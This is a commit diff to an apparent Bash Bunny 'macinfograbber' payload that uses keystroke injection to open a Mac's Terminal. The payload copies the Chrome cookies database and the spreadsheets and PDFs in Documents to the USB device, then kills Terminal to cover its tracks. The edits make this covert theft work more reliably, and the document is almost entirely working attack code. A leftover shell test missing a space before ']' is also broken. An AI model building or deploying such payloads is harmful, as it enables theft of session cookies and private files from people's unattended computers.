fixes broken code

- fixes lootdir path
  - dont capitalize var names that aren't exported
  - indentation
  - escape shell characters that are passed to QUACK
  - account for variable copy times by joining cp and exit commands
  - sync the disk

payloads/library/macinfograbber/payload.txt

@@ -15,36 +15,38 @@
 
 LED G R
 ATTACKMODE HID STORAGE
-LOOTDIR=/root/udisk/loot/MacLoot
-mkdir -p $LOOTDIR
+
+lootdir=loot/MacLoot
+mkdir -p /root/udisk/$lootdir
+
 QUACK GUI SPACE
 QUACK DELAY 1000
 QUACK STRING terminal
 QUACK ENTER
-QUACK DELAY 8000
-QUACK STRING mkdir -p /Volumes/BashBunny/$LOOTDIR/xlsx
+QUACK DELAY 5000
+QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/xlsx
 QUACK ENTER
 QUACK DELAY 500
-QUACK STRING cat ~/Library/Application Support/Google/Chrome/Default/Cookies > /Volumes/BashBunny/$LOOTDIR/chromecookies.db
+QUACK STRING cat \~/Library/Application\\ Support/Google/Chrome/Default/Cookies \>
+/Volumes/BashBunny/$lootdir/chromecookies.db
 QUACK ENTER
 QUACK DELAY 1000
-QUACK STRING cd ~/Documents && cp *.xlsx *.xls /Volumes/BashBunny/$LOOTDIR/xlsx/
-QUACK ENTER
-QUACK DELAY 1000
-QUACK GUI q
-QUACK DELAY 500
+QUACK STRING cp \~/Documents/{*.xlsx,*.xls,*.pdf} /Volumes/BashBunny/$lootdir/xlsx/\; killall Terminal
 QUACK ENTER
 
+# Sync filesystem
+sync
+
 # Green LED for finished
 LED G
 
-files=$(ls /Volumes/BashBunny/$LOOTDIR/xlsx/*.xls 2> /dev/null | wc -l)
-files2=$(ls /Volumes/BashBunny/$LOOTDIR/xlsx/*.xlsx 2> /dev/null | wc -l)
-if [ "$files" != "0" -o "$files2" != "0"]
-then
-# Got spreadsheet files
-LED R B
+files=$(ls /Volumes/BashBunny/$lootdir/xlsx/*.xls 2> /dev/null | wc -l)
+files2=$(ls /Volumes/BashBunny/$lootdir/xlsx/*.xlsx 2> /dev/null | wc -l)
+
+if [ "$files" != "0" -o "$files2" != "0"]; then
+  # Got spreadsheet files
+  LED R B
 else
-LED R
-# No spread sheets
+  LED R
+  # No spread sheets
 fi